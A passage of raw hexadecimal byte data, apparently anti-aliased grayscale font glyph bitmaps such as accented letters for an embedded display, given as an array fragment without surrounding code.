0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0xBA,
0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xEA, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x03, 0xD6, 0xFF, 0xFF, 0xFF, 0x75,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFC, 0xFF, 0xFF,
0xF4, 0x15, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF,
0xFF, 0xFF, 0xEA, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC0, 0xFF, 0xFF,
0xFF, 0xF1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x80, 0x30, 0x07,
0x00, 0x00, 0x00, 0x1A, 0x4F, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xD6, 0xC5, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xF2, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x98, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF5, 0xA6, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x47, 0x81, 0x98, 0xAB, 0xA8, 0x98, 0x80, 0x50, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x2B, 0x2B,
0x2B, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xFA,
0xFF, 0xFF, 0xC3, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC7, 0xFF, 0xFF, 0xD0, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C,
0xFF, 0xFF, 0xDC, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xF1, 0xFF, 0xE6, 0x21, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0x05, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x35, 0x4E, 0x66, 0x64, 0x58, 0x42,
0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x47, 0xA7, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x89, 0x1D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x7A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D,
0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x75, 0x44,
0x14, 0x01, 0x25, 0x55, 0x90, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xE0,
0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x1D, 0xFA, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0xFF, 0xFF, 0xFF, 0xC2, 0x00, 0x00,
0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x30, 0xFD, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x15, 0xF5, 0xFF, 0xFF, 0xFF, 0x37, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xFF,
0xAD, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0xD6, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x6F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8,
0xFF, 0xFF, 0xF7, 0x01, 0x98, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0x1A, 0xBB, 0xFF, 0xFF,
0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x3C, 0xD9, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x45, 0xC9,
0xFF, 0xFF, 0xFF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0xA4, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xFC,
0x05, 0x80, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xDD, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x81, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF,
0xFF, 0xBA, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xEA, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x03, 0xD6, 0xFF, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFC,
0xFF, 0xFF, 0xF4, 0x15, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00,
0xC9, 0xFF, 0xFF, 0xFF, 0xEA, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC0,
0xFF, 0xFF, 0xFF, 0xF1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x80,
0x30, 0x07, 0x00, 0x00, 0x00, 0x1A, 0x4F, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xD6, 0xC5, 0xE5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xF2, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x72, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x98, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF5, 0xA6, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x07, 0x47, 0x81, 0x98, 0xAB, 0xA8, 0x98, 0x80, 0x50, 0x09, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2B,
0x2B, 0x2B, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC4, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFB, 0xFF, 0xFB, 0x7B, 0xFE, 0xFF, 0xF6, 0x29,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A,
0xD8, 0xFF, 0xFF, 0x7D, 0x00, 0x90, 0xFF, 0xFF, 0xCE, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xC6, 0x03, 0x00, 0x08, 0xD3,
0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x05, 0x05, 0x02, 0x00, 0x00, 0x00, 0x02, 0x05, 0x05, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x35, 0x4E, 0x66, 0x64,
0x58, 0x42, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x47, 0xA7, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x89, 0x1D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x7A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1D, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1,
0x75, 0x44, 0x14, 0x01, 0x25, 0x55, 0x90, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x38, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x1D, 0xFA, 0xFF, 0xFF, 0xFF, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0xFF, 0xFF, 0xFF, 0xC2,
0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x30, 0xFD, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x15, 0xF5, 0xFF, 0xFF, 0xFF,
0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF,
0xFF, 0xFF, 0xAD, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0xD6, 0x00, 0x76, 0xFF, 0xFF,
0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xE8, 0xFF, 0xFF, 0xF7, 0x01, 0x98, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0x1A, 0xBB,
0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x3C, 0xD9, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF,
0x45, 0xC9, 0xFF, 0xFF, 0xFF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0xA4, 0xFF, 0xFF, 0xFF, 0x2F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF,
0xFF, 0xFC, 0x05, 0x80, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xDD, 0x00, 0x5B, 0xFF, 0xFF, 0xFF,
0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xFF, 0xFF, 0xFF, 0xBA, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xEA, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x03, 0xD6,
0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x20, 0xFC, 0xFF, 0xFF, 0xF4, 0x15, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00,
0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xFF, 0xEA, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0E, 0xC0, 0xFF, 0xFF, 0xFF, 0xF1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0xFF,
0xFC, 0x80, 0x30, 0x07, 0x00, 0x00, 0x00, 0x1A, 0x4F, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xD6, 0xC5, 0xE5,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F,
0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x72, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x98, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA6, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0x47, 0x81, 0x98, 0xAB, 0xA8, 0x98, 0x80, 0x50, 0x09, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x3C,
0x55, 0x32, 0x01, 0x00, 0x00, 0x00, 0x74, 0x9F, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xEB, 0xFF, 0xFF, 0xFF, 0xE1, 0x87, 0x37, 0x6D, 0xF5,
0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xF6, 0x5D, 0x51, 0xA0, 0xF1, 0xFF, 0xFF,
0xFF, 0xE8, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0xB5, 0x78, 0x00, 0x00, 0x00, 0x08, 0x47, 0x72, 0x4A, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0x35, 0x4E, 0x66, 0x64, 0x58, 0x42, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xA7, 0xF3, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x89, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x15, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF5, 0x7A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB0, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x11, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x75, 0x44, 0x14, 0x01, 0x25, 0x55, 0x90,
0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF, 0xFF,
0xA8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x44,
0x00, 0x00, 0x00, 0x1D, 0xFA, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xC6, 0xFF, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF,
0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFD, 0xFF,
0xFF, 0xFF, 0x40, 0x00, 0x15, 0xF5, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x54, 0xFF, 0xFF,
0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1D, 0xFF, 0xFF, 0xFF, 0xD6, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0xF7, 0x01, 0x98,
0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0x1A, 0xBB, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF,
0x3C, 0xD9, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x45, 0xC9, 0xFF, 0xFF, 0xFF, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF,
0xFF, 0xFF, 0x24, 0xA4, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xFC, 0x05, 0x80, 0xFF, 0xFF, 0xFF,
0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEC, 0xFF, 0xFF, 0xDD, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0xBA, 0x00, 0x36, 0xFF,
0xFF, 0xFF, 0xEA, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xAD, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x03, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFC, 0xFF, 0xFF, 0xF4, 0x15, 0x00,
0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xFF, 0xEA,
0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC0, 0xFF, 0xFF, 0xFF, 0xF1, 0x12,
0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x80, 0x30, 0x07, 0x00, 0x00, 0x00,
0x1A, 0x4F, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xD6, 0xC5, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x85,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x17, 0x98, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA6, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x47, 0x81,
0x98, 0xAB, 0xA8, 0x98, 0x80, 0x50, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x39, 0x39, 0x1D, 0x00, 0x13, 0x39, 0x39, 0x37,
